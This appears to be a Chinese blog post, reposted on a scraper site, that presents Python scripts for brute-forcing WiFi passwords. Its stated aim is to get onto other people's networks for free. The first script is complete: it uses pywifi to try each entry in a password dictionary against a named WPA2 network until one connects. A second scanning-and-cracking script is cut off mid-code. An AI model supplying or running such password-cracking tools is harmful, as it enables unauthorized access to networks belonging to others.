用 Python 破解 WiFi 密码,太刺激了!

您所在的位置:网站首页 如何破解网站源代码密码 用 Python 破解 WiFi 密码,太刺激了!

用 Python 破解 WiFi 密码,太刺激了!

2024-07-01 16:43| 来源: 网络整理| 查看: 265

这是「进击的Coder」的第 720 篇技术分享

作者:Tr0e

来源:blog.csdn.net/weixin_39190897/article/details/119778471

阅读本文大概需要 13 分钟。

前言

本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网。

无图形界面

先来看看没有图形界面版的爆破脚本。

WIFI 爆破代码语言:javascript复制import pywifi from pywifi import const import time import datetime # 测试连接,返回链接结果 def wifiConnect(pwd):     # 抓取网卡接口     wifi = pywifi.PyWiFi()     # 获取第一个无线网卡     ifaces = wifi.interfaces()[0]     # 断开所有连接     ifaces.disconnect()     time.sleep(1)     wifistatus = ifaces.status()     if wifistatus == const.IFACE_DISCONNECTED:         # 创建WiFi连接文件         profile = pywifi.Profile()         # 要连接WiFi的名称         profile.ssid = "Tr0e"         # 网卡的开放状态         profile.auth = const.AUTH_ALG_OPEN         # wifi加密算法,一般wifi加密算法为wps         profile.akm.append(const.AKM_TYPE_WPA2PSK)         # 加密单元         profile.cipher = const.CIPHER_TYPE_CCMP         # 调用密码         profile.key = pwd         # 删除所有连接过的wifi文件         ifaces.remove_all_network_profiles()         # 设定新的连接文件         tep_profile = ifaces.add_network_profile(profile)         ifaces.connect(tep_profile)         # wifi连接时间         time.sleep(2)         if ifaces.status() == const.IFACE_CONNECTED:             return True         else:             return False     else:         print("已有wifi连接") # 读取密码本 def readPassword():     success = False     print("****************** WIFI破解 ******************")     # 密码本路径     path = "pwd.txt"     # 打开文件     file = open(path, "r")     start = datetime.datetime.now()     while True:         try:             pwd = file.readline()             # 去除密码的末尾换行符             pwd = pwd.strip('\n')             bool = wifiConnect(pwd)             if bool:                 print("[*] 密码已破解:", pwd)                 print("[*] WiFi已自动连接!!!")                 success = True                 break             else:                 # 跳出当前循环,进行下一次循环                 print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%("Tr0e",pwd))         except:             continue     end = datetime.datetime.now()     if(success):         print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))     else:         print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")     exit(0) if __name__=="__main__":     readPassword()

代码运行效果:

脚本优化

以上脚本需内嵌 WIFI 名、爆破字典路径,缺少灵活性。下面进行改造优化:

代码语言:javascript复制import pywifi import time from pywifi import const # WiFi扫描模块 def wifi_scan():     # 初始化wifi     wifi = pywifi.PyWiFi()     # 使用第一个无线网卡     interface = wifi.interfaces()[0]     # 开始扫描     interface.scan()     for i in range(4):         time.sleep(1)         print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')     print('\r扫描完成!\n' + '-' * 38)     print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))     # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象     bss = interface.scan_results()     # 存放wifi名的集合     wifi_name_set = set()     for w in bss:         # 解决乱码问题         wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))         wifi_name_set.add(wifi_name_and_signal)     # 存入列表并按信号排序     wifi_name_list = list(wifi_name_set)     wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)     num = 0     # 格式化输出     while num 


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3